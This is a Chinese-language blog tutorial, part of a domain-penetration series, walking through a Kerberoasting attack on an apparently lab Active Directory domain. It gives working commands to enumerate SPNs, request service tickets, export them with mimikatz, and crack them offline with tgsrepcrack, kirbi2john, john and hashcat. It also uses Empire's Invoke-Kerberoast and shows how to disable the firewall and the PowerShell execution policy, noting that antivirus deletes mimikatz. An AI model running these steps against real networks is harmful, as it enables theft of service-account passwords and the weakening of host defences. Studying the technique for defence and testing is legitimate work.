域渗透入门(四)Kerberoasting服务票据离线爆破密码

域渗透入门(四)Kerberoasting服务票据离线爆破密码

参考资料

录制的视频教程

spn“服务主体名称”是什么

服务帐户利用SPN支持Kerberos身份验证。也就是说,当客户端需要访问sever提供的服务的时候,那么就需要使用spn查询有哪些服务。

这种spn扫描,是正常的,在内网中,客户端想要访问服务器的资源,都需要想DC域控查询服务主体名称。就好像上火车要查询列车编号一样。

如何查询spn

1
2
3
4
5
6
7
8
9
10
11
setspn -q */*			#列出域内的spn服务主体名称,这条命令向域控查询信息,所以需要有域控服务器
---
https://github.com/nidem/kerberoast		#这是脚本的下载地址
./GetUserSPNs.ps1		#使用脚本查询spn服务主体名称
---
klist
查看内存中的票据
---
通过spn,申请service ticket服务票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"

方法一(mimikatz导出票据,tgsrepcrack.py破解票据):

1
2
3
4
5
6
7
8
导出申请的服务票据
mimikatz.exe "kerberos::list /export" exit
导出的票据后缀名kirbi
缺点:目标主机上传mimikatz,会被杀软删除掉,必须关闭防火墙
---
爆破服务票据
python tgsrepcrack.py test.txt 1.kirbi
遇到错误,执行失败。github上,tgsrepcrack.py这个脚本从python2升级到了python3,也许因此出了bug。

方法二(mimikatz导出票据,kirbi2john.py将导出的1.kirbi转换为hashcat可以破解的格式,使用hashcat破解):

1
2
3
4
5
6
7
8
9
10
11
---
从kirbi文件中提取出Kerberos tickets
python /usr/share/john/kirbi2john.py 2-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi > output.txt

output.txt的密码类型是Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]
---
使用hashcat或者john the ripper,爆破output.txt 

john --format=krb5tgs output.txt --wordlist=/usr/share/wordlists/rockyou.txt
---
hashcat -m 13100 output.txt /usr/share/wordlists/rockyou.txt --force

方法三——Invoke-Kerberoast导出票据,hashcat破解:

1
2
3
4
5
6
7
8
9
10
11
https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1

执行没有任何结果
import-module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
提示没有AdminCount参数

---
Invoke-Kerberoast -OutputFormat Hashcat | fl
Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

windows不允许执行powershell

运行powershell脚本时,遇到“无法加载文件,因为在此系统禁止执行脚本”

在powershell面板下输入,Set-ExecutionPolicy Unrestricted,再输入“Y”,即可运行ps脚本

cmd关闭防火墙

NetSh Advfirewall set allprofiles state off Netsh Advfirewall show allprofiles

netsh firewall set opmode mode=disable

遇到的问题

爆破服务票据密码的时候,py脚本提示 ImportError: No module named pyasn1.type

安装一下模块, pip install pyasn1


运行这条命令的时候python tgsrepcrack.py test.txt 1.kirbi 提示:

1
2
3
4
  File "C:\python27\lib\ntpath.py", line 115, in splitdrive
    if len(p) > 1:
TypeError: object of type 'file' has no len()
AttributeError: 'file' object has no attribute 'rfind'

原因,作者将脚本从py2升级py3,脚本有bug无法正常执行。